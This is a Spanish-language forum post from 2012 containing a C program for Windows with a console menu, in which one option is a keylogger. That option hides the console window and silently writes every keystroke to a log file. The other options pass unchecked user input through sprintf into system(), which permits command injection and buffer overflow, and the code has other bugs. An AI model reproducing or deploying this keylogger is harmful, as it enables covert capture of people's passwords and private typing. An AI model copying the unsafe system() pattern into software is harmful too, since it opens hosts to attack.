1
C / C++ / Re:Un programa en C!!!!! - Medio ayuda para el final.
« en: Marzo 06, 2012, 03:49:32 pm »
thanks. era eso que me dijeras solo el codigo de como seria luego yo me busco la vida de como meterlo para que funcione.
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main(void)
{
int tipo;
while (tipo <= 6)
{
tipo <= 6;
printf ("1. Ping\n");
printf ("2. Abrir pagina web\n");
printf ("3. Texto doble\n");
printf ("4. Cambiar de color de fondo\n");
printf ("5. Keylogger\n");
printf ("6. Exit\n");
scanf ("%i", &tipo);
if (tipo <= 6){
}
else {
printf ("Error");
system ("pause>null");
return 0;
}
switch (tipo)
{
case 1:
{
char txt[50], ping[40];
printf ("Escriba la URL:\n" );
scanf ("%s", txt);
sprintf (ping,"\n ping %s", txt);
system ( ping );
system ("pause>null");
break;
}
case 2:
{
char txt[50], start[60];
printf ("Escriba la web dodne quieras entrar:\n" );
scanf ("%s", txt);
sprintf (start,"\n start %s", txt);
system ( start );
system ("pause>null");
break;
}
case 3:
{
int txt;
printf ("Pulsa ctrl + c para salir\n");
while ((txt = getchar()) !=EOF)
putchar(txt);
break;
}
case 4:
{
char ltr [2], cmd[10];
printf ("Puedes cojer dos digitos de la lista.\n");
printf ("0. Negro\t\t"); printf ("8. Gris\n");
printf ("1. Azul\t\t"); printf ("9. Azul claro\n");
printf ("2. Verde\t\t"); printf ("A. Verde claro\n");
printf ("3. Aguamarina\t\t"); printf ("B. Aguamarina claro\n");
printf ("4. Rojo\t\t"); printf ("C. Rojo claro\n");
printf ("5. P£rpura\t\t"); printf ("D. P£rpura claro\n");
printf ("6. Amarillo\t\t"); printf ("E. Amarillo claro\n");
printf ("7. Blanco\t\t"); printf ("F. Blanco brillante\n");
printf ("Escribe los digitos:\n" );
scanf ("%s", ltr);
sprintf (cmd,"\n color %s", ltr);
system ( cmd );
break;
}
case 5:
printf ("Un keylogger.\n");
{
#define TRUE 1
#define FALSE 0
#define LINE 256
#define CARACTERES 256
#define SLEEP 2
{
FILE *f;
int i, n = 0;
int line[LINE];
FreeConsole();
if(!(f = fopen("log.log","a+")))
exit(EXIT_FAILURE);
while(TRUE){
for(i = 0; i < CARACTERES - 1; i++){
if(GetAsyncKeyState(i) == -32767){
char ch = i;
if (GetAsyncKeyState(VK_RETURN) == -32767) {
fprintf(f,"%c",'\n');
}
else {
if (GetKeyState(VK_CAPITAL) == 1) {
fprintf(f,"%c",ch);
} else {
fprintf(f,"%c",tolower(ch));
}
}
fflush(f);
}
}
sleep(SLEEP);
}
fclose(f);
exit(EXIT_SUCCESS);
}
}
case 6:
system ("exit");
break;
}
}
return 0;
}